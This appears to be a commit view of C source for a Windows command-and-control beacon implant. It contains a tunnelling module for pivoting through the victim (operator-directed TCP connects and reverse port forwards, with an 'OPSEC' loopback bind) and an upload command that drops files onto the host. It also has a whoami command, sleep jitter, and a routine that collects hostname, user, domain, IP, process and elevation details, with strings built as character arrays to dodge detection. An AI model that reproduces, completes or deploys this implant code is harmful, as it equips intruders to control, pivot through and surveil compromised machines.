if ( !Nax->Ws2.WSACreateEvent )
return;
if ( !Nax->TunnelEvent )
Nax->TunnelEvent = Nax->Ws2.WSACreateEvent();
if ( Nax->TunnelEvent )
Nax->Ws2.WSAEventSelect( sock, Nax->TunnelEvent, events );
}
/* ========= [ pack tunnel result entry ] ========= */
/* Append one tunnel result entry to the output buffer.
* Returns bytes written, or 0 if not enough space. */
FUNC UINT32 NaxTunnelPackEntry( PBYTE out, UINT32 cap, UINT32 cmdId,
PBYTE payload, UINT32 payloadLen ) {
UINT32 entryLen = 4 + payloadLen; /* cmdId(4) + payload */
UINT32 total = 4 + entryLen; /* entryLen(4) + entry */
if ( total > cap )
return 0;
/* entryLen (4LE) */
out[0] = (BYTE)( entryLen );
out[1] = (BYTE)( entryLen >> 8 );
out[2] = (BYTE)( entryLen >> 16 );
out[3] = (BYTE)( entryLen >> 24 );
/* cmdId (4LE) */
out[4] = (BYTE)( cmdId );
out[5] = (BYTE)( cmdId >> 8 );
out[6] = (BYTE)( cmdId >> 16 );
out[7] = (BYTE)( cmdId >> 24 );
if ( payloadLen > 0 )
MmCopy( out + 8, payload, payloadLen );
return total;
}
/* ========= [ command handlers ] ========= */
FUNC VOID NaxTunnelConnectTCP( PNAX_INSTANCE Nax, UINT32 channelId,
UINT32 type, PBYTE addr, UINT32 addrLen, UINT32 port ) {
NAX_TUNNEL* t = NaxTunnelAlloc( Nax, channelId );
if ( !t )
return;
t->Type = type;
t->State = NAX_TUNNEL_STATE_CONNECT;
t->Mode = NAX_TUNNEL_MODE_TCP;
t->WaitTime = 10000;
t->StartTick = Nax->Kernel32.GetTickCount64();
UINT_PTR s = Nax->Ws2.socket( NAX_AF_INET, NAX_SOCK_STREAM, NAX_IPPROTO_TCP );
if ( s == (UINT_PTR)-1 ) {
t->State = NAX_TUNNEL_STATE_CLOSE;
return;
}
t->Sock = s;
/* non-blocking */
ULONG nbio = 1;
Nax->Ws2.ioctlsocket( s, NAX_FIONBIO, &nbio );
/* short timeouts */
INT timeoutMs = 100;
Nax->Ws2.setsockopt( s, NAX_SOL_SOCKET, NAX_SO_RCVTIMEO, (PCHAR)&timeoutMs, sizeof( timeoutMs ) );
Nax->Ws2.setsockopt( s, NAX_SOL_SOCKET, NAX_SO_SNDTIMEO, (PCHAR)&timeoutMs, sizeof( timeoutMs ) );
/* null-terminate address - wire buffer has port bytes right after addr */
CHAR addrBuf[256];
UINT32 copyLen = addrLen < 255 ? addrLen : 255;
MmCopy( addrBuf, addr, copyLen );
addrBuf[copyLen] = '\0';
struct sockaddr_in sa;
MmZero( &sa, sizeof( sa ) );
sa.sin_family = NAX_AF_INET;
sa.sin_port = Nax->Ws2.htons( (USHORT)port );
sa.sin_addr.s_addr = Nax->Ws2.inet_addr( addrBuf );
if ( sa.sin_addr.s_addr == NAX_INADDR_NONE ) {
struct hostent* he = Nax->Ws2.gethostbyname( addrBuf );
if ( he && he->h_addr_list && he->h_addr_list[0] )
MmCopy( &sa.sin_addr, he->h_addr_list[0], 4 );
else {
Nax->Ws2.closesocket( s );
t->State = NAX_TUNNEL_STATE_CLOSE;
return;
}
}
NaxTunnelRegisterSocket( Nax, s, NAX_FD_CONNECT | NAX_FD_READ | NAX_FD_WRITE | NAX_FD_CLOSE );
Nax->Ws2.connect( s, (struct sockaddr*)&sa, sizeof( sa ) );
}
FUNC VOID NaxTunnelWriteTCP( PNAX_INSTANCE Nax, UINT32 channelId,
PBYTE data, UINT32 dataLen ) {
NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId );
if ( !t || t->State == NAX_TUNNEL_STATE_CLOSE )
return;
/* try immediate send if no buffered data */
if ( !t->WriteBuf || t->WriteBufSize == 0 ) {
while ( dataLen > 0 ) {
INT sent = Nax->Ws2.send( t->Sock, (PCHAR)data, (INT)dataLen, 0 );
if ( sent > 0 ) {
data += sent;
dataLen -= sent;
} else {
break; /* WSAEWOULDBLOCK or error - buffer the rest */
}
}
if ( dataLen == 0 )
return;
}
/* buffer the remainder */
UINT32 newSize = t->WriteBufSize + dataLen;
if ( newSize > NAX_TUNNEL_HARD_CAP ) {
t->State = NAX_TUNNEL_STATE_CLOSE;
return;
}
PBYTE newBuf = C_PTR( Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, newSize ) );
if ( !newBuf ) {
t->State = NAX_TUNNEL_STATE_CLOSE;
return;
}
if ( t->WriteBuf && t->WriteBufSize > 0 )
MmCopy( newBuf, t->WriteBuf, t->WriteBufSize );
MmCopy( newBuf + t->WriteBufSize, data, dataLen );
if ( t->WriteBuf )
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, t->WriteBuf );
t->WriteBuf = newBuf;
t->WriteBufSize = newSize;
}
FUNC VOID NaxTunnelClose( PNAX_INSTANCE Nax, UINT32 channelId ) {
NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId );
if ( t ) {
t->State = NAX_TUNNEL_STATE_CLOSE;
t->CloseTimer = 0;
}
}
FUNC VOID NaxTunnelReverse( PNAX_INSTANCE Nax, UINT32 tunnelId, UINT32 port ) {
NAX_TUNNEL* t = NaxTunnelAlloc( Nax, tunnelId );
if ( !t )
return;
t->Type = 0;
t->State = NAX_TUNNEL_STATE_CONNECT;
t->Mode = NAX_TUNNEL_MODE_REVERSE;
t->WaitTime = 0;
t->StartTick = Nax->Kernel32.GetTickCount64();
UINT_PTR s = Nax->Ws2.socket( NAX_AF_INET, NAX_SOCK_STREAM, NAX_IPPROTO_TCP );
if ( s == (UINT_PTR)-1 ) {
t->State = NAX_TUNNEL_STATE_CLOSE;
return;
}
t->Sock = s;
/* allow address reuse */
INT reuse = 1;
Nax->Ws2.setsockopt( s, NAX_SOL_SOCKET, NAX_SO_REUSEADDR, (PCHAR)&reuse, sizeof( reuse ) );
/* non-blocking */
ULONG nbio = 1;
Nax->Ws2.ioctlsocket( s, NAX_FIONBIO, &nbio );
/* bind loopback only (OPSEC) */
struct sockaddr_in sa;
MmZero( &sa, sizeof( sa ) );
sa.sin_family = NAX_AF_INET;
sa.sin_port = Nax->Ws2.htons( (USHORT)port );
sa.sin_addr.s_addr = NAX_INADDR_LOOPBACK_NBO;
if ( Nax->Ws2.bind( s, (struct sockaddr*)&sa, sizeof( sa ) ) != 0 ) {
Nax->Ws2.closesocket( s );
t->State = NAX_TUNNEL_STATE_CLOSE;
return;
}
if ( Nax->Ws2.listen( s, 10 ) != 0 ) {
Nax->Ws2.closesocket( s );
t->State = NAX_TUNNEL_STATE_CLOSE;
return;
}
NaxTunnelRegisterSocket( Nax, s, NAX_FD_ACCEPT | NAX_FD_CLOSE );
t->State = NAX_TUNNEL_STATE_READY;
}
FUNC VOID NaxTunnelPause( PNAX_INSTANCE Nax, UINT32 channelId ) {
NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId );
if ( t )
t->SrvPaused = TRUE;
}
FUNC VOID NaxTunnelResume( PNAX_INSTANCE Nax, UINT32 channelId ) {
NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId );
if ( t )
t->SrvPaused = FALSE;
}
/* ========= [ tunnel command dispatcher ] ========= */
FUNC VOID NaxTunnelDispatch( PNAX_INSTANCE Nax, BYTE cmdId,
PBYTE args, UINT32 argsLen ) {
if ( !NaxEnsureWs2( Nax ) )
return;
switch ( cmdId ) {
case NAX_CMD_TUNNEL_CONNECT_TCP: {
/* channelId(4) | type(4) | addrLen(4) | addr(addrLen) | port(4) */
if ( argsLen < 16 ) return;
UINT32 chId = NaxR32( args );
UINT32 type = NaxR32( args + 4 );
UINT32 addrLen = NaxR32( args + 8 );
if ( argsLen < 12 + addrLen + 4 ) return;
UINT32 port = NaxR32( args + 12 + addrLen );
NaxTunnelConnectTCP( Nax, chId, type, args + 12, addrLen, port );
break;
}
case NAX_CMD_TUNNEL_WRITE_TCP: {
/* channelId(4) | dataLen(4) | data */
if ( argsLen < 8 ) return;
UINT32 chId = NaxR32( args );
UINT32 dataLen = NaxR32( args + 4 );
if ( argsLen < 8 + dataLen ) return;
NaxTunnelWriteTCP( Nax, chId, args + 8, dataLen );
break;
}
case NAX_CMD_TUNNEL_CLOSE: {
/* channelId(4) */
if ( argsLen < 4 ) return;
NaxTunnelClose( Nax, NaxR32( args ) );
break;
}
case NAX_CMD_TUNNEL_REVERSE: {
/* tunnelId(4) | port(4) */
if ( argsLen < 8 ) return;
NaxTunnelReverse( Nax, NaxR32( args ), NaxR32( args + 4 ) );
break;
}
case NAX_CMD_TUNNEL_PAUSE: {
if ( argsLen < 4 ) return;
NaxTunnelPause( Nax, NaxR32( args ) );
break;
}
case NAX_CMD_TUNNEL_RESUME: {
if ( argsLen < 4 ) return;
NaxTunnelResume( Nax, NaxR32( args ) );
break;
}
default:
break;
}
}
/* ========= [ heartbeat tunnel processor ] ========= */
FUNC UINT32 NaxProcessTunnels( PNAX_INSTANCE Nax, PBYTE out, UINT32 outCap ) {
if ( !Nax->TunnelHead )
return 0;
/* Consume per-socket WSA event records so TunnelEvent stays clear
* until the next real network event. WSAResetEvent alone only
* resets the event object — internal per-socket records persist
* and re-signal immediately, causing a hot loop. */
if ( Nax->Ws2.WSAEnumNetworkEvents ) {
NAX_TUNNEL* ev = Nax->TunnelHead;
while ( ev ) {
WSANETWORKEVENTS ne;
MmZero( &ne, sizeof( ne ) );
Nax->Ws2.WSAEnumNetworkEvents( ev->Sock, NULL, &ne );
ev = ev->Next;
}
}
UINT32 written = 0;
UINT64 now = Nax->Kernel32.GetTickCount64();
/* scratch for select */
struct timeval tv;
tv.tv_sec = 0;
tv.tv_usec = 0;
/* ---- Phase 1: Check connecting sockets ---- */
NAX_TUNNEL* t = Nax->TunnelHead;
while ( t ) {
NAX_TUNNEL* next = t->Next;
if ( t->State == NAX_TUNNEL_STATE_CONNECT && t->Mode == NAX_TUNNEL_MODE_TCP ) {
fd_set wfds, efds;
FD_ZERO( &wfds );
FD_ZERO( &efds );
FD_SET( t->Sock, &wfds );
FD_SET( t->Sock, &efds );
INT sr = Nax->Ws2.select( 0, NULL, &wfds, &efds, &tv );
if ( sr > 0 && NaxFdIsSet( t->Sock, &wfds ) && !NaxFdIsSet( t->Sock, &efds ) ) {
t->State = NAX_TUNNEL_STATE_READY;
/* pack CONNECT_TCP result: channelId(4) | type(4) | result(4) = success(0) */
BYTE rb[12];
UINT32 chId = t->ChannelId, tp = t->Type, res = 0;
rb[0] = (BYTE)chId; rb[1] = (BYTE)(chId>>8); rb[2] = (BYTE)(chId>>16); rb[3] = (BYTE)(chId>>24);
rb[4] = (BYTE)tp; rb[5] = (BYTE)(tp>>8); rb[6] = (BYTE)(tp>>16); rb[7] = (BYTE)(tp>>24);
rb[8] = (BYTE)res; rb[9] = (BYTE)(res>>8); rb[10]= (BYTE)(res>>16); rb[11]= (BYTE)(res>>24);
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
NAX_CMD_TUNNEL_CONNECT_TCP, rb, 12 );
written += w;
} else if ( t->WaitTime > 0 && ( now - t->StartTick ) > t->WaitTime ) {
t->State = NAX_TUNNEL_STATE_CLOSE;
/* pack failure result */
BYTE rb[12];
UINT32 chId = t->ChannelId, tp = t->Type, res = 1;
rb[0] = (BYTE)chId; rb[1] = (BYTE)(chId>>8); rb[2] = (BYTE)(chId>>16); rb[3] = (BYTE)(chId>>24);
rb[4] = (BYTE)tp; rb[5] = (BYTE)(tp>>8); rb[6] = (BYTE)(tp>>16); rb[7] = (BYTE)(tp>>24);
rb[8] = (BYTE)res; rb[9] = (BYTE)(res>>8); rb[10]= (BYTE)(res>>16); rb[11]= (BYTE)(res>>24);
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
NAX_CMD_TUNNEL_CONNECT_TCP, rb, 12 );
written += w;
}
}
/* Check reverse listeners for incoming connections */
if ( t->State == NAX_TUNNEL_STATE_READY && t->Mode == NAX_TUNNEL_MODE_REVERSE ) {
fd_set rfds;
FD_ZERO( &rfds );
FD_SET( t->Sock, &rfds );
INT sr = Nax->Ws2.select( 0, &rfds, NULL, NULL, &tv );
if ( sr > 0 && NaxFdIsSet( t->Sock, &rfds ) ) {
struct sockaddr_in ca;
INT caLen = sizeof( ca );
UINT_PTR cs = Nax->Ws2.accept( t->Sock, (struct sockaddr*)&ca, &caLen );
if ( cs != (UINT_PTR)-1 ) {
/* non-blocking on accepted socket */
ULONG nbio = 1;
Nax->Ws2.ioctlsocket( cs, NAX_FIONBIO, &nbio );
NaxTunnelRegisterSocket( Nax, cs, NAX_FD_READ | NAX_FD_WRITE | NAX_FD_CLOSE );
/* generate channel ID from lower bits of socket handle XOR tick */
UINT32 newChId = (UINT32)( cs ^ ( now & 0xFFFFFFFF ) );
NAX_TUNNEL* ct = NaxTunnelAlloc( Nax, newChId );
if ( ct ) {
ct->Sock = cs;
ct->State = NAX_TUNNEL_STATE_READY;
ct->Mode = NAX_TUNNEL_MODE_TCP;
ct->Type = t->Type;
/* pack ACCEPT: tunnelId(4) | newChannelId(4) */
BYTE ab[8];
UINT32 tid = t->ChannelId;
ab[0] = (BYTE)tid; ab[1] = (BYTE)(tid>>8); ab[2] = (BYTE)(tid>>16); ab[3] = (BYTE)(tid>>24);
ab[4] = (BYTE)newChId; ab[5] = (BYTE)(newChId>>8); ab[6] = (BYTE)(newChId>>16); ab[7] = (BYTE)(newChId>>24);
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
NAX_CMD_TUNNEL_ACCEPT, ab, 8 );
written += w;
} else {
Nax->Ws2.closesocket( cs );
}
}
}
}
t = next;
}
/* ---- Phase 2: Flush write buffers (READY only, matching reference agent) ---- */
t = Nax->TunnelHead;
while ( t ) {
if ( t->State == NAX_TUNNEL_STATE_READY
&& t->WriteBuf && t->WriteBufSize > 0 ) {
UINT32 totalSent = 0;
while ( totalSent < t->WriteBufSize ) {
INT sent = Nax->Ws2.send( t->Sock, (PCHAR)( t->WriteBuf + totalSent ),
(INT)( t->WriteBufSize - totalSent ), 0 );
if ( sent > 0 ) {
totalSent += (UINT32)sent;
} else {
break; /* WSAEWOULDBLOCK or error */
}
}
if ( totalSent > 0 ) {
if ( totalSent >= t->WriteBufSize ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, t->WriteBuf );
t->WriteBuf = NULL;
t->WriteBufSize = 0;
} else {
UINT32 rem = t->WriteBufSize - totalSent;
PBYTE nb = C_PTR( Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, rem ) );
if ( nb ) {
MmCopy( nb, t->WriteBuf + totalSent, rem );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, t->WriteBuf );
t->WriteBuf = nb;
t->WriteBufSize = rem;
}
}
}
/* send RESUME if we were paused and buffer dropped below low watermark */
if ( t->Paused && t->WriteBufSize < NAX_TUNNEL_LOW_WATERMARK ) {
t->Paused = FALSE;
BYTE pb[4];
UINT32 chId = t->ChannelId;
pb[0] = (BYTE)chId; pb[1] = (BYTE)(chId>>8); pb[2] = (BYTE)(chId>>16); pb[3] = (BYTE)(chId>>24);
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
NAX_CMD_TUNNEL_RESUME, pb, 4 );
written += w;
}
}
t = t->Next;
}
/* ---- Phase 3: Recv from ready sockets ---- */
UINT64 recvStart = Nax->Kernel32.GetTickCount64();
UINT32 totalRecv = 0;
t = Nax->TunnelHead;
while ( t ) {
if ( t->State == NAX_TUNNEL_STATE_READY && t->Mode == NAX_TUNNEL_MODE_TCP && !t->SrvPaused ) {
for ( INT i = 0; i < NAX_TUNNEL_RECV_MAX_ITER; i++ ) {
if ( ( Nax->Kernel32.GetTickCount64() - recvStart ) > NAX_TUNNEL_RECV_BUDGET_MS )
break;
if ( totalRecv >= NAX_TUNNEL_HIGH_WATERMARK )
break;
fd_set rfds;
FD_ZERO( &rfds );
FD_SET( t->Sock, &rfds );
INT sr = Nax->Ws2.select( 0, &rfds, NULL, NULL, &tv );
if ( sr <= 0 || !NaxFdIsSet( t->Sock, &rfds ) )
break;
/* recv into output buffer directly after the entry header space */
UINT32 space = outCap - written;
if ( space < NAX_TUNNEL_RECV_HDR_RESERVE ) break;
UINT32 maxRecv = space - NAX_TUNNEL_RECV_HDR_RESERVE;
if ( maxRecv > NAX_TUNNEL_RECV_CHUNK_MAX ) maxRecv = NAX_TUNNEL_RECV_CHUNK_MAX;
BYTE* recvBase = out + written + 8 + 8; /* skip entryLen(4)+cmdId(4) + channelId(4)+dataLen(4) */
INT got = Nax->Ws2.recv( t->Sock, (PCHAR)recvBase, (INT)maxRecv, 0 );
if ( got > 0 ) {
/* build payload header: channelId(4) | dataLen(4) */
BYTE ph[8];
UINT32 chId = t->ChannelId;
ph[0] = (BYTE)chId; ph[1] = (BYTE)(chId>>8); ph[2] = (BYTE)(chId>>16); ph[3] = (BYTE)(chId>>24);
ph[4] = (BYTE)got; ph[5] = (BYTE)(got>>8); ph[6] = (BYTE)(got>>16); ph[7] = (BYTE)(got>>24);
MmCopy( out + written + 8, ph, 8 );
/* build entry header: entryLen(4) | cmdId(4) */
UINT32 entryLen = 4 + 8 + (UINT32)got; /* cmdId + channelId + dataLen + data */
UINT32 total = 4 + entryLen;
out[written] = (BYTE)entryLen;
out[written+1] = (BYTE)(entryLen>>8);
out[written+2] = (BYTE)(entryLen>>16);
out[written+3] = (BYTE)(entryLen>>24);
UINT32 cmd = NAX_CMD_TUNNEL_WRITE_TCP;
out[written+4] = (BYTE)cmd;
out[written+5] = (BYTE)(cmd>>8);
out[written+6] = (BYTE)(cmd>>16);
out[written+7] = (BYTE)(cmd>>24);
written += total;
totalRecv += (UINT32)got;
} else if ( got == 0 ) {
/* graceful close */
t->State = NAX_TUNNEL_STATE_CLOSE;
break;
} else {
/* error: WSAEWOULDBLOCK is normal, anything else means close */
INT err = Nax->Ws2.WSAGetLastError();
if ( err != NAX_WSAEWOULDBLOCK )
t->State = NAX_TUNNEL_STATE_CLOSE;
break;
}
}
/* send PAUSE if output exceeds high watermark */
if ( totalRecv >= NAX_TUNNEL_HIGH_WATERMARK && !t->Paused ) {
t->Paused = TRUE;
BYTE pb[4];
UINT32 chId = t->ChannelId;
pb[0] = (BYTE)chId; pb[1] = (BYTE)(chId>>8); pb[2] = (BYTE)(chId>>16); pb[3] = (BYTE)(chId>>24);
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
NAX_CMD_TUNNEL_PAUSE, pb, 4 );
written += w;
}
}
t = t->Next;
}
/* ---- Phase 4: Cleanup closed tunnels ---- */
/* CloseTimer states: 0=fresh, 1=draining write buffer, 2=shutdown sent (grace) */
t = Nax->TunnelHead;
while ( t ) {
NAX_TUNNEL* next = t->Next;
if ( t->State == NAX_TUNNEL_STATE_CLOSE ) {
/* still draining write buffer - let Phase 2 flush it */
if ( t->WriteBuf && t->WriteBufSize > 0 ) {
if ( t->CloseTimer == 0 ) {
t->CloseTimer = 1;
t->StartTick = now;
} else if ( ( now - t->StartTick ) > NAX_TUNNEL_DRAIN_TIMEOUT_MS ) {
Nax->Ws2.shutdown( t->Sock, NAX_SD_BOTH );
Nax->Ws2.closesocket( t->Sock );
NaxTunnelRemove( Nax, t );
}
t = next;
continue;
}
/* buffer empty - send shutdown if not done yet */
if ( t->CloseTimer <= 1 ) {
t->CloseTimer = 2;
t->StartTick = now;
BYTE cb[12];
UINT32 chId = t->ChannelId, tp = t->Type, res = 0;
cb[0] = (BYTE)chId; cb[1] = (BYTE)(chId>>8); cb[2] = (BYTE)(chId>>16); cb[3] = (BYTE)(chId>>24);
cb[4] = (BYTE)tp; cb[5] = (BYTE)(tp>>8); cb[6] = (BYTE)(tp>>16); cb[7] = (BYTE)(tp>>24);
cb[8] = (BYTE)res; cb[9] = (BYTE)(res>>8); cb[10]= (BYTE)(res>>16); cb[11]= (BYTE)(res>>24);
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
NAX_CMD_TUNNEL_CLOSE, cb, 12 );
written += w;
Nax->Ws2.shutdown( t->Sock, NAX_SD_SEND );
} else if ( ( now - t->StartTick ) > NAX_TUNNEL_CLOSE_GRACE_MS ) {
Nax->Ws2.closesocket( t->Sock );
NaxTunnelRemove( Nax, t );
}
}
t = next;
}
return written;
}
+64
View File
@@ -0,0 +1,64 @@
/* beacon/src/Commands/Upload.c
* CMD_UPLOAD (0x26) - write accumulated MemSave data to disk.
*
* Task args wire format:
* memoryId(4LE) + path_len(4LE) + path_bytes
*
* The file data was previously accumulated via CMD_SAVEMEMORY chunks.
* After writing, the MemSave buffer is freed.
*
* Result on success: zero-length data, status=OK
* Result on failure: Win32_error(4LE), status=ERR */
#include "Nax.h"
FUNC INT NaxCmdUpload( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( !args || args_len < 8 ) return NAX_ERR_INVAL;
UINT32 memoryId = NaxR32( args );
UINT32 path_len = NaxR32( args + 4 );
if ( 8 + path_len > args_len ) return NAX_ERR_INVAL;
PCHAR path_buf = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, path_len + 1 );
if ( !path_buf ) return NAX_ERR_NOMEM;
MmCopy( path_buf, args + 8, path_len );
path_buf[ path_len ] = '\0';
/* Look up accumulated data */
NAX_MEMSAVE* ms = NaxMemSaveGet( Nax, memoryId );
if ( !ms || !ms->Buffer ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
*out_len = 0;
return NAX_ERR_INVAL;
}
HANDLE hFile = Nax->Kernel32.CreateFileA( path_buf, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
if ( hFile == INVALID_HANDLE_VALUE ) {
DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0;
NaxWriteWin32ErrCode( out, out_len, err );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
NaxMemSaveFree( Nax, memoryId );
return NAX_ERR_FAIL;
}
DWORD written = 0;
BOOL ok = TRUE;
if ( ms->CurrentSize > 0 )
ok = Nax->Kernel32.WriteFile( hFile, ms->Buffer, ms->CurrentSize, &written, NULL );
if ( !ok || written != ms->CurrentSize ) {
DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0;
NaxWriteWin32ErrCode( out, out_len, err );
Nax->Kernel32.CloseHandle( hFile );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
NaxMemSaveFree( Nax, memoryId );
return NAX_ERR_FAIL;
}
Nax->Kernel32.CloseHandle( hFile );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
NaxMemSaveFree( Nax, memoryId );
*out_len = 0;
return NAX_OK;
}
+19
View File
@@ -0,0 +1,19 @@
/* beacon/src/Commands/Whoami.c
* CMD_WHOAMI (0x10) - return current username as UTF-8. */
#include "Nax.h"
FUNC INT NaxCmdWhoami( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
WCHAR wbuf[256];
DWORD wlen = 256;
if ( ! Nax->Advapi32.GetUserNameW( wbuf, &wlen ) )
return NAX_ERR_INVAL;
INT n = Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, wbuf, -1,
(PCHAR)out, (INT)*out_len,
NULL, NULL );
if ( n <= 0 ) return NAX_ERR_NOMEM;
*out_len = (UINT32)( n - 1 );
return NAX_OK;
}
+437
View File
@@ -0,0 +1,437 @@
/* beacon/src/Core/Bootstrap.c
* NaxBootstrap - resolve all APIs and allocate NAX_INSTANCE on the heap.
* NaxEffectiveSleep - jitter calculation.
* NaxGetInternalIp, NaxGetDomain - system info helpers. */
#include "Nax.h"
#include "Config.h"
#include "Transport.h"
#include <winternl.h>
#include <iphlpapi.h>
/* ========= [ jitter ] ========= */
FUNC UINT32 NaxEffectiveSleep( PNAX_INSTANCE Nax ) {
if ( Nax->Config.JitterPct == 0 )
return Nax->Config.SleepMs;
UINT32 delta = ( Nax->Config.SleepMs / 100u ) * (UINT32)Nax->Config.JitterPct;
if ( delta == 0 )
return Nax->Config.SleepMs;
BYTE r = 0;
Nax->Bcrypt.BCryptGenRandom( NULL, &r, 1, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
INT32 off = (INT32)( (UINT32)r % ( 2u * delta + 1u ) ) - (INT32)( delta );
INT32 val = (INT32)( Nax->Config.SleepMs ) + off;
return (UINT32)( val < 0 ? 0 : val );
}
/* ========= [ internal IP helper ] ========= */
FUNC VOID NaxGetInternalIp( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap ) {
CHAR def[] = { '0', '.', '0', '.', '0', '.', '0', '\0' };
MmCopy( out, def, 8 );
if ( !Nax->Iphlpapi.GetAdaptersInfo )
return;
ULONG adapterInfoBufLen = 0;
if ( Nax->Iphlpapi.GetAdaptersInfo( NULL, &adapterInfoBufLen ) != ERROR_BUFFER_OVERFLOW )
return;
PIP_ADAPTER_INFO adapterInfo = (PIP_ADAPTER_INFO) Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, adapterInfoBufLen );
if ( ! adapterInfo )
return;
if ( Nax->Iphlpapi.GetAdaptersInfo( adapterInfo, &adapterInfoBufLen ) == ERROR_SUCCESS ) {
for ( PIP_ADAPTER_INFO a = adapterInfo; a; a = a->Next ) {
if ( a->Type == NAX_MIB_IF_TYPE_LOOPBACK )
continue;
PCHAR ip = a->IpAddressList.IpAddress.String;
if ( ip[0] == '0' && ip[1] == '.' )
continue;
if ( ip[0] == '1' && ip[1] == '6' && ip[2] == '9' && ip[3] == '.' &&
ip[4] == '2' && ip[5] == '5' && ip[6] == '4' && ip[7] == '.' )
continue;
UINT32 j = 0;
while ( ip[j] && j < cap - 1 ) {
out[j] = ip[j];
j++;
}
out[j] = '\0';
break;
}
}
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, adapterInfo );
}
/* ========= [ domain helper ] ========= */
FUNC VOID NaxGetDomain( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap ) {
WCHAR wbuf[256];
MmZero( wbuf, sizeof( wbuf ) );
DWORD wlen = 256;
if ( Nax->Kernel32.GetComputerNameExW( ComputerNameDnsDomain, wbuf, &wlen ) && wlen > 0 ) {
INT n = Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, wbuf, -1, out, (INT)cap, NULL, NULL );
if ( n > 0 )
return;
}
CHAR wg[] = { 'W', 'O', 'R', 'K', 'G', 'R', 'O', 'U', 'P', '\0' };
MmCopy( out, wg, 10 );
}
/* ========= [ system info gather ] ========= */
FUNC VOID NaxGatherSysInfo( PNAX_INSTANCE Nax, PNAX_SYSINFO info ) {
MmZero( info, sizeof( NAX_SYSINFO ) );
{ WCHAR w[64]; DWORD n = 64;
if ( Nax->Kernel32.GetComputerNameExW( ComputerNameDnsHostname, w, &n ) )
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, w, -1, info->Hostname, 64, NULL, NULL ); }
{ WCHAR w[256]; DWORD n = 256;
if ( Nax->Advapi32.GetUserNameW( w, &n ) )
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, w, -1, info->Username, 256, NULL, NULL ); }
{ MmZero( Nax->ImgPath, 260 );
PNAX_RTL_USER_PROCESS_PARAMETERS pp = NaxCurrentPeb()->ProcessParameters;
PWSTR img_buf = pp->ImagePathName.Buffer;
UINT32 img_chars = (UINT32)pp->ImagePathName.Length / 2;
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, img_buf, (INT)img_chars, Nax->ImgPath, 259, NULL, NULL );
PWSTR base = img_buf;
for ( UINT32 i = 0; i < img_chars; i++ )
if ( img_buf[i] == L'\\' ) base = img_buf + i + 1;
UINT32 base_chars = img_chars - (UINT32)( base - img_buf );
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, base, (INT)base_chars, info->Procname, 255, NULL, NULL ); }
info->Pid = (UINT32)(UINT_PTR)NaxCurrentTeb()->ClientId.UniqueProcess;
info->Tid = (UINT32)(UINT_PTR)NaxCurrentTeb()->ClientId.UniqueThread;
{ PBYTE peb = (PBYTE)NaxCurrentPeb();
Nax->OsMajor = *(UINT32*)( peb + NAX_PEB_OSMAJOR_OFFSET );
Nax->OsMinor = *(UINT32*)( peb + NAX_PEB_OSMINOR_OFFSET );
Nax->OsBuild = *(UINT16*)( peb + NAX_PEB_OSBUILD_OFFSET ); }
{ PROCESS_BASIC_INFORMATION pbi;
MmZero( &pbi, sizeof( pbi ) );
if ( Nax->Ntdll.NtQueryInformationProcess )
Nax->Ntdll.NtQueryInformationProcess( NtCurrentProcess(), ProcessBasicInformation, &pbi, sizeof( pbi ), NULL );
Nax->ParentPid = (UINT32)(UINT_PTR)pbi.InheritedFromUniqueProcessId; }
{ Nax->Elevated = 0;
HANDLE hToken = NULL;
if ( Nax->Ntdll.NtOpenProcessToken && Nax->Ntdll.NtOpenProcessToken( NtCurrentProcess(), NAX_TOKEN_QUERY, &hToken ) == 0 ) {
struct { DWORD TokenIsElevated; } elev;
ULONG ret = 0;
if ( Nax->Ntdll.NtQueryInformationToken( hToken, NAX_TOKEN_ELEVATION_TYPE, &elev, sizeof( elev ), &ret ) == 0 )
Nax->Elevated = elev.TokenIsElevated ? 1 : 0;
Nax->Ntdll.NtClose( hToken );
} }
Nax->Acp = Nax->Kernel32.GetACP ? (UINT32)Nax->Kernel32.GetACP() : 0;
Nax->OemCp = Nax->Kernel32.GetOEMCP ? (UINT32)Nax->Kernel32.GetOEMCP() : 0;
NaxGetInternalIp( Nax, info->IpStr, 64 );
NaxGetDomain( Nax, info->Domain, 256 );
info->HnLen = 0; while ( info->Hostname[info->HnLen] ) info->HnLen++;
info->UnLen = 0; while ( info->Username[info->UnLen] ) info->UnLen++;
info->IpLen = 0; while ( info->IpStr[info->IpLen] ) info->IpLen++;
